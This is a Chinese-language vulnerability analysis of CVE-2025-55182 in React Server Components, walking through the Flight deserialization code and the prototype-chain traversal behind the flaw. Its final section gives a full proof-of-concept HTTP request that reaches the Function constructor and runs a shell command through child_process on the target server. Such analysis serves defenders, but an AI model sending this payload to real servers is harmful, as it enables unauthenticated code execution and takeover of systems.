作者:肉鬆
CVE-2025-55182 是一個發生在 React Server Components(RSC)生態系的漏洞,攻擊者不需要登入(pre-auth),只要對特定伺服器端端點送出一個惡意 HTTP 請求,就可能在伺服器上達成遠端程式碼執行(RCE)。
React 官方將其評為 CVSS 10.0,並指出問題在於 React 解碼送往 Server Function endpoints 的資料時有缺陷。
從官方發布的訊息得知,受影響版本集中在 React 19 的 RSC 相關套件:
其中版本為 19.0、19.1.0、19.1.1、19.2.0 受到影響
修補版本為 19.0.1、19.1.2、19.2.1
另外,官方也特別提醒:就算應用程式本身「沒有自己寫 Server Function」,只要整體系統有支援 RSC,仍可能因框架/打包器的整合而暴露對應路徑。
RSC 的核心想法是:讓 UI 組合的一部分在伺服器端完成,再把結果傳回前端。
這牽涉到「伺服器端把元件樹序列化後傳回」,以及「客戶端或伺服器端把請求資料反序列化還原」。
React Server Functions 允許 client 呼叫 server 上的 function。
React 需要把 client 的呼叫「翻譯」成 HTTP 請求,server 收到後解析 payload、執行 server-side logic,再回傳序列化結果。
這裡的「解析/反序列化」就是攻擊面。
Microsoft 的說明:RSC 生態系使用 Flight protocol 在 client/server 間溝通,server 會接收 payload、解析後執行邏輯,再回傳序列化的元件樹。
漏洞的關鍵在於「受影響版本沒有正確驗證輸入 payload」,讓攻擊者能注入 React 仍會接受的惡意結構,最後導向原型鏈相關問題與 RCE。
因此會形成一條典型資料路徑:
外部 HTTP 請求(不可信) → Flight 解碼/還原(把資料變成 JS 物件) → React 內部流程使用這些物件(開始變成「可信」)
只要「解碼/還原那一步」對輸入檢查不夠嚴格,就很容易從「資料」被變成「可影響程式流程、甚至可導向執行」的結構,最後走到 RCE,這也是 NVD 把它歸類為「不可信資料反序列化」的原因。
序列化(Serialization):把「程式內的資料結構(object、array、tree)」轉成可傳輸或可儲存的形式(例如 JSON 字串)。
反序列化(Deserialization):把傳輸格式再還原回程式內的資料結構。
最典型例子是 JSON:
// 序列化:物件 -> JSON 字串
const s = JSON.stringify({ profile: { name: "alice", age: 18 } });
// 反序列化:JSON 字串 -> 物件
const o = JSON.parse(s);
console.log(o.profile.name); // "alice"
JSON 本身只會產生「純資料」,理論上不會直接把函式、class、Promise 這種「行為」一起還原。
但框架為了功能,常會在 JSON/字串之上再做一層「特殊編碼」,例如用特定前綴或特殊字串代表「引用」、「延後解析」、「Promise」、「模組參照」等,這正是風險常出現的位置。
更多詳細序列化與反序列化的資訊可參考飛飛的不安全的反序列化 Insecure Deserialization。
假設一次「更新個人資料」請求,資料被拆成 3 個 chunk:
chunks = {
"0": '["$1"]', # entry:要求載入 chunk 1
"1": '{"action":"updateProfile","user":"$2"}', # action:user 指向 chunk 2
"2": '{"userId":42,"email":"[email protected]"}' # 真正 user 物件
}
正常反序列化/還原流程:
1. 讀取 chunk "0",解析成陣列 ["$1"]
2. 看到 "$1":代表「引用 chunk 1」
3. 解析 chunk "1" 得到物件 { action: "updateProfile", user: "$2" }
4. 看到 user: "$2":代表「引用 chunk 2」
5. 解析 chunk "2" 得到 { userId: 42, email: "[email protected]" }
6. 把引用替換回去,組成完整請求物件:
{ action: "updateProfile", user: { userId: 42, email: "[email protected]" } }
某些資料可能只想引用 chunk 的其中一段,例如:
chunks = {
"0": '["$1:profile:name"]',
"1": '{"profile":{"name":"alice","age":18}}'
}
正常反序列化/還原流程:
1. 讀 chunk "0" → 解析成 ["$1:profile:name"]
2. 解析引用字串(去掉 $)得到 reference:"1:profile:name"
3. 以 : 切割路徑:["1","profile","name"]
4. 取 "1" 對應 chunk "1" → JSON.parse 得到:
{ profile: { name: "alice", age: 18 }}
5. 沿路徑取值:
.profile → { name: "alice", age: 18 }
.name → "alice"
6. 最終結果:["alice"]
parseModelString:遇到字串時,若以 $ 開頭,會依第二個字元分流處理(例如引用、特殊型別等),並在「一般引用」情境呼叫 getOutlinedModel。
getOutlinedModel:把 reference 用「 : 」切成 path,將 path[0] 解析成 id,拿到對應 chunk,之後依 chunk 狀態決定要等待或繼續解析。
用「接近原意但簡化」的偽碼表示:
function parseModelString(value) {
if (value[0] !== "$") return value;
const ref = value.slice(1); // "$1:profile:name" → "1:profile:name"
return getOutlinedModel(ref);
}
function getOutlinedModel(reference) {
const path = reference.split(":"); // ["1","profile","name"]
const id = parseInt(path[0], 16); // 常見以 16 進位解析 id
const chunk = getChunk(id);
// 解析成功後:沿 path[1..] 取值
let value = chunkValue(chunk);
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
return value;
}
其中兩個細節,直接關聯到漏洞重點:
1. reference.split(':') 以及 parseInt(path[0], 16)
說明引用字串會被拆成「chunk id + 路徑片段」,且 id 解析常用十六進位。
2. value = value[path[i]] 這種「直接取屬性」
如果沒有做「只允許 own properties」或「禁止特殊鍵」的限制,就可能被引導去走原型鏈(prototype chain)。
KeenLab 指出這段迴圈「沿路徑取值,沒有 hasOwnProperty 檢查」。
在 JavaScript 中,當你寫 value[key] 時,瀏覽器或 Node.js 會按照以下順序尋找:
- Own Properties(本身屬性): 物件自己有沒有這個鍵?
- Prototype Chain(原型鏈): 如果自己沒有,就去問它的「父母」( __proto__ )。
- 一直往上找: 直到找到 Object.prototype 為止。
假設伺服器端的 chunk 物件長這樣:
const chunk = {
id: 1,
profile: { name: "Alice" }
};
正常情況
輸入:"$1:profile:name"
攻擊情況
輸入:"$1:constructor:name"
如果這個 getOutlinedModel 的結果後續被用於寫入操作,攻擊者就可以利用這個路徑拿到 Object.prototype,然後去修改所有物件的基底行為。
在進入 CVE-2025-55182 的核心原因之前,需要先釐清一個常見的 JavaScript 安全細節:如何可靠地判斷某個屬性是否為物件的「自有屬性(own property)」。
Object.prototype.hasOwnProperty.call(value, key) 的意思檢查 value 這個物件是否「自己就有」名為 key 的屬性(own property),而不是從原型鏈(prototype chain)繼承來的。
而 hasOwnProperty() 是 Object.prototype 上的內建方法。
例如:
const user = { name: "Alice" };
user.hasOwnProperty("name"); // 回傳 true (這是它自己的屬性)
user.hasOwnProperty("toString"); // 回傳 false (這是繼承自 Object.prototype 的屬性)
部分分析文章會以 value.hasOwnProperty(i) 當作「概念化偽碼」描述 own-property 檢查與其風險。
但在 React 19.2.0 原始碼中,reviveModel 的物件欄位列舉實際採用的是 hasOwnProperty.call(value, key),此處並非本漏洞缺口。
本漏洞真正關鍵在於 outlined reference 的 path traversal(getOutlinedModel 與 resolver)對 value = value[path[i]] 逐段取值時未限制 own property,導致 prototype chain navigation,而修補版本則是在 traversal 過程改用 hasOwnProperty.call(value, name) 來加上 gate。
value 可能來自不可信輸入(例如反序列化結果、外部 payload),攻擊者可以在資料內部放入同名鍵 hasOwnProperty,導致:
所以使用 Object.prototype.hasOwnProperty.call(value, key) 的目的,是避免對不可信物件做 method lookup,把「被呼叫的函式」固定在 Object.prototype.hasOwnProperty 這個可信來源。
假設後端有一個功能,用來檢查使用者上傳的設定檔是否有惡意欄位:
function validateConfig(userConfig) {
try {
if (userConfig.hasOwnProperty("isAdmin")) { // 確認這個物件是否有 "isAdmin" 這個 key
console.log("拒絕存取");
return false;
}
console.log("設定檔安全");
return true;
} catch (e) {
console.error("系統崩潰:", e.message);
return false;
}
}
// 正常情況
const safeInput = { "theme": "dark" };
// 設定檔安全 (因為 safeInput.hasOwnProperty("isAdmin") 是 false)
validateConfig(safeInput);
攻擊者只要在 JSON 中傳入一個名為 hasOwnProperty 的屬性,並賦予它非函數的值(例如 1 或 true)
{
"theme": "dark",
"hasOwnProperty": true
}
CVE-2025-55182 的真正根因,是 React Server Components 在解碼 Flight payload 時,會解析「outlined reference」(形如 "1:profile:name" 這種 : 分隔路徑),並沿著路徑逐段做屬性取值,在有漏洞的程式碼中 (例如 19.2.0) 這段取值並未限制只能走 own properties,因此攻擊者可以把 path 變成「原型鏈導覽(prototype chain navigation)」。
對應程式碼:
function getChunk(response: Response, id: number): SomeChunk<any> {
const chunks = response._chunks;
let chunk = chunks.get(id);
if (!chunk) {
const prefix = response._prefix;
const key = prefix + id;
// Check if we have this field in the backing store already.
const backingEntry = response._formData.get(key);
if (backingEntry != null) {
// We assume that this is a string entry for now.
chunk = createResolvedModelChunk(response, (backingEntry: any), id);
} else if (response._closed) {
// We have already errored the response and we're not going to get
// anything more streaming in so this will immediately error.
chunk = createErroredChunk(response, response._closedReason);
} else {
// We're still waiting on this entry to stream in.
chunk = createPendingChunk(response);
}
chunks.set(id, chunk);
}
return chunk;
}
說明 response._prefix + id組合出欄位鍵(field key),並透過response._formData.get(key) 從 FormData 的後端儲存區讀取對應的 backing entry。
若該 entry 已存在,則建立對應的 resolved model chunk 供後續流程使用。
這一步界定了「外部輸入如何被納入 Reply Server 的狀態機」。
function reviveModel(
response: Response,
parentObj: any,
parentKey: string,
value: JSONValue,
reference: void | string,
): any {
if (typeof value === 'string') {
// We can't use .bind here because we need the "this" value.
return parseModelString(response, parentObj, parentKey, value, reference);
}
...
if (Array.isArray(value)) {
for (let i = 0; i < value.length; i++) {
const childRef =
reference !== undefined ? reference + ':' + i : undefined;
// $FlowFixMe[cannot-write]
value[i] = reviveModel(response, value, '' + i, value[i], childRef);
}
}
...
return value;
}
reviveModel() 會對輸入的 JSON 值進行遞迴遍歷:
function parseModelString(
response: Response,
obj: Object,
key: string,
value: string,
reference: void | string,
): any {
if (value[0] === '$') {
switch (value[1]) {
case '$': {
// This was an escaped string value.
return value.slice(1);
}
...
case 'F': {
// Server Reference
const ref = value.slice(2);
// TODO: Just encode this in the reference inline instead of as a model.
const metaData: {
id: ServerReferenceId,
bound: null | Thenable<Array<any>>,
} = getOutlinedModel(response, ref, obj, key, createModel);
return loadServerReference(
response,
metaData.id,
metaData.bound,
initializingChunk,
obj,
key,
);
}
...
switch (value[1]) {
case 'A':
return parseTypedArray(response, value, ArrayBuffer, 1, obj, key);
...
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
// We should have this backingEntry in the store already because we emitted
// it before referencing it. It should be a Blob.
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}
}
...
}
return value;
}
parseModelString() 用來解析 Flight 協議中以 $ 作為前綴的型別標記(marker),並將其轉換為對應的伺服端資料型態或參照:
$F(Server Reference): 先透過 getOutlinedModel() 取得參照所需的 metadata,接著交由 loadServerReference() 參照。
$B(Blob/binary): 會去 _formData.get(prefix + id) 抓 Blob。
function getOutlinedModel<T>(
response: Response,
reference: string,
parentObject: Object,
key: string,
map: (response: Response, model: any) => T,
): T {
const path = reference.split(':');
const id = parseInt(path[0], 16);
const chunk = getChunk(response, id);
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
// The status might have changed after initialization.
switch (chunk.status) {
case INITIALIZED:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
return map(response, value);
case PENDING:
case BLOCKED:
case CYCLIC:
const parentChunk = initializingChunk;
chunk.then(
createModelResolver(
parentChunk,
parentObject,
key,
chunk.status === CYCLIC,
response,
map,
path,
),
createModelReject(parentChunk),
);
return (null: any);
default:
throw chunk.reason;
}
}
這就是「可控 path → 任意屬性鏈遍歷」的根本問題
在 React 19.2.0 的 getOutlinedModel() 中,reference 會被拆成 path[],先解析出 id 找到 chunk,接著在 chunk 進入 INITIALIZED 狀態時,做下面這段關鍵迴圈:
let value = chunk.value;
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
return map(response, value);
這段語意是「沿著 path[1..] 逐段取值」。如果 path[i] 完全由可信資料構成,這只是一般的 obj.a.b.c 邏輯,但在 RSC/Flight 的情境中,reference 路徑片段可被攻擊者構造(在特定入口與 payload 組合下),因此就會出現安全邊界問題。
在 JavaScript 中,value[key] 的查找順序是:
因此,只要路徑片段包含 constructor、__proto__、prototype 等關鍵節點,取值就不再是「取資料欄位」,而可能變成「跳到建構子/原型物件」,把大量非預期的內建行為/函式暴露到後續流程,擴大可利用的 gadget surface。
例如:
這個例子說明,reference path 一旦不限制 own-property,就不再是資料取值,而是 prototype chain traversal
CVE-2025-55182 的本質不是單純資料越界,而是 React 在解碼 Server Function / RSC payload 時,會把輸入反序列化後的結果帶進一個會「主動呼叫方法」的流程,因此攻擊者只要能讓某個值在該流程中被視為「可等待(thenable)」或「chunk-like 物件」,框架就會替攻擊者完成一段關鍵呼叫。
React 官方把漏洞描述為:利用 React 解碼送往 React Server Function endpoint 的 payload 的缺陷,達成 unauthenticated RCE。
JavaScript 的 await 不只等待原生 Promise,任何 thenable(有可呼叫 then() 的物件)都會被同化,引擎會呼叫該物件的 then(resolve, reject) 來取得結果。
它讓「只要我能控制一個物件的 then 指向什麼函式」就足以把控制流推進到那個函式。
僅有 then 還不夠,還需要在 .then() 被呼叫後,能把框架帶進更深的反序列化初始化路徑。
React Reply Server 的關鍵是:Chunk 本身就是「帶狀態的 thenable」,且 Chunk.prototype.then 會在 status === resolved_model 時先觸發初始化
React 19.2.0 的 Chunk 以 Promise.prototype 為原型,確保擁有 thenable 的行為介面,同時 Chunk.prototype.then 在進入一般 resolve/reject 分派前,會先檢查狀態是否為 resolved_model,若成立則呼叫 initializeModelChunk(chunk)。
Chunk.prototype = (Object.create(Promise.prototype): any);
// TODO: This doesn't return a new Promise chain unlike the real .then
Chunk.prototype.then = function <T>(
this: SomeChunk<T>,
resolve: (value: T) => mixed,
reject: (reason: mixed) => mixed,
) {
const chunk: SomeChunk<T> = this;
// If we have resolved content, we try to initialize it first which
// might put us back into one of the other states.
switch (chunk.status) {
case RESOLVED_MODEL:
initializeModelChunk(chunk);
break;
}
// The status might have changed after initialization.
switch (chunk.status) {
case INITIALIZED:
resolve(chunk.value);
break;
case PENDING:
case BLOCKED:
case CYCLIC:
if (resolve) {
if (chunk.value === null) {
chunk.value = ([]: Array<(T) => mixed>);
}
chunk.value.push(resolve);
}
if (reject) {
if (chunk.reason === null) {
chunk.reason = ([]: Array<(mixed) => mixed>);
}
chunk.reason.push(reject);
}
break;
default:
reject(chunk.reason);
break;
}
};
「then 被呼叫」本身就具有副作用:只要狀態是 resolved_model,就會嘗試初始化與反序列化(initializeModelChunk)。
狀態欄位成為流程 gate:若能讓一個物件被當成 Chunk,且 status 可控為 resolved_model,就能強制觸發初始化路徑。
在 initializeModelChunk 中,chunk 會先被置為 CYCLIC(避免循環參照時重入),接著對 chunk.value 執行 JSON.parse,並把 rawModel 交給 reviveModel(...) 逐層還原。
這一步是「反序列化深層邏輯」的入口點,後續所有 $... token(例如 B)的分支處理,都會在 reviveModel → parseModelString 內發生。
function initializeModelChunk<T>(chunk: ResolvedModelChunk<T>): void {
const prevChunk = initializingChunk;
const prevBlocked = initializingChunkBlockedModel;
initializingChunk = chunk;
initializingChunkBlockedModel = null;
const rootReference =
chunk.reason === -1 ? undefined : chunk.reason.toString(16);
const resolvedModel = chunk.value;
// We go to the CYCLIC state until we've fully resolved this.
// We do this before parsing in case we try to initialize the same chunk
// while parsing the model. Such as in a cyclic reference.
const cyclicChunk: CyclicChunk<T> = (chunk: any);
cyclicChunk.status = CYCLIC;
cyclicChunk.value = null;
cyclicChunk.reason = null;
try {
const rawModel = JSON.parse(resolvedModel);
const value: T = reviveModel(
chunk._response,
{'': rawModel},
'',
rawModel,
rootReference,
);
if (
initializingChunkBlockedModel !== null &&
initializingChunkBlockedModel.deps > 0
) {
initializingChunkBlockedModel.value = value;
// We discovered new dependencies on modules that are not yet resolved.
// We have to go the BLOCKED state until they're resolved.
const blockedChunk: BlockedChunk<T> = (chunk: any);
blockedChunk.status = BLOCKED;
} else {
const resolveListeners = cyclicChunk.value;
const initializedChunk: InitializedChunk<T> = (chunk: any);
initializedChunk.status = INITIALIZED;
initializedChunk.value = value;
if (resolveListeners !== null) {
wakeChunk(resolveListeners, value);
}
}
} catch (error) {
const erroredChunk: ErroredChunk<T> = (chunk: any);
erroredChunk.status = ERRORED;
erroredChunk.reason = error;
} finally {
initializingChunk = prevChunk;
initializingChunkBlockedModel = prevBlocked;
}
}
JSON.parse 產生的結構會被 revive/解析器當成 Flight 模型處理,只要模型內含特定 $... token,即可驅動進入具有「主動呼叫」的分支(例如 $B)。
parseModelString 的 case '@' 代表 Promise/Chunk 參照:它會解析 id,然後 getChunk(response, id) 並直接回傳 chunk 物件,而不是回傳 chunk.value 的已初始化結果。
case '@': {
// Promise
const id = parseInt(value.slice(2), 16);
const chunk = getChunk(response, id);
return chunk;
}
這個分支的利用價值在於:
在 parseModelString 的 case 'B'(Blob)分支中,React 會計算 blobKey = response._prefix + id,接著呼叫 response._formData.get(blobKey) 取 backing entry。
case 'B': {
// Blob
const id = parseInt(value.slice(2), 16);
const prefix = response._prefix;
const blobKey = prefix + id;
// We should have this backingEntry in the store already because we emitted
// it before referencing it. It should be a Blob.
const backingEntry: Blob = (response._formData.get(blobKey): any);
return backingEntry;
}
這一行是「可執行 sink」,原因在於:
一旦 _formData.get 被導向 Function 建構子(或可等價取得 Function 的路徑),Blob handler 的呼叫語意就會從:
轉為:
此處的「導向」並非必然需要 prototype pollution(寫入 Object.prototype),更常見的是利用「原型鏈導覽(prototype chain navigation)」:在缺乏 own-property gate 的屬性解析下,能走到 constructor 等原型鏈屬性,再取得 Function。
除了 await thenable 的語意外,React 自己也會在解析過程對 chunk 呼叫 .then() 以註冊 resolver。
典型位置是 getOutlinedModel():當目標 chunk 為 PENDING/BLOCKED/CYCLIC 時,會執行:
chunk.then(
createModelResolver(
parentChunk,
parentObject,
key,
chunk.status === CYCLIC,
response,
map,
path,
),
createModelReject(parentChunk),
);
而 createModelResolver() 的核心工作之一,是在 chunk ready 後依照 path 逐段取值並寫回父物件:
return value => {
for (let i = 1; i < path.length; i++) {
value = value[path[i]];
}
parentObject[key] = map(response, value);
因此,它不是單點「await 觸發 then」,而是 React 內部本來就大量依賴 thenable/Chunk.then 進行解析與依賴解決。
一旦資料層能偽裝成 chunk-like 結構,便能把控制流掛接到框架自身的 then 路徑上。
假設攻擊者將設計好的 Payload 傳送給伺服器,這裡假設傳送指令為 id (Base64 編碼為 aWQ=),並且框架自動產生了邊界字串(Boundary):
POST / HTTP/1.1
Host: <target_url>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0
Next-Action: x
Content-Type: multipart/form-data; boundary=----MojoFormBoundaryRandom123
------MojoFormBoundaryRandom123
Content-Disposition: form-data; name="0"
"$1"
------MojoFormBoundaryRandom123
Content-Disposition: form-data; name="1"
{"status":"resolved_model","reason":0,"_response":"$4","value":"{\"then\":\"$3:map\",\"0\":{\"then\":\"$B3\"},\"length\":1}","then":"$2:then"}
------MojoFormBoundaryRandom123
Content-Disposition: form-data; name="2"
"$@3"
------MojoFormBoundaryRandom123
Content-Disposition: form-data; name="3"
[]
------MojoFormBoundaryRandom123
Content-Disposition: form-data; name="4"
{"_prefix":"process.mainModule.require('child_process').exec('echo aWQ= | base64 -d | bash');//","_formData":{"get":"$3:constructor:constructor"},"_chunks":"$2:_response:_chunks"}
------MojoFormBoundaryRandom123--
以 Next.js Server Actions 為例,當這個惡意請求抵達帶有漏洞的伺服器時,框架底層會經歷以下的解析過程:
步驟 1:路由攔截與啟動 Flight 協定引擎
步驟 2:解析 Chunk 3 (空陣列)
步驟 3:解析 Chunk 4 (植入建構子與惡意程式碼)
伺服器接著解析 name="4" 的 JSON 資料。這裡發生了整個漏洞最核心的建構子注入(Constructor Injection):
步驟 4:解析 Chunk 1 (構造 Thenable 陷阱)
步驟 5:解析 Chunk 0 與 RCE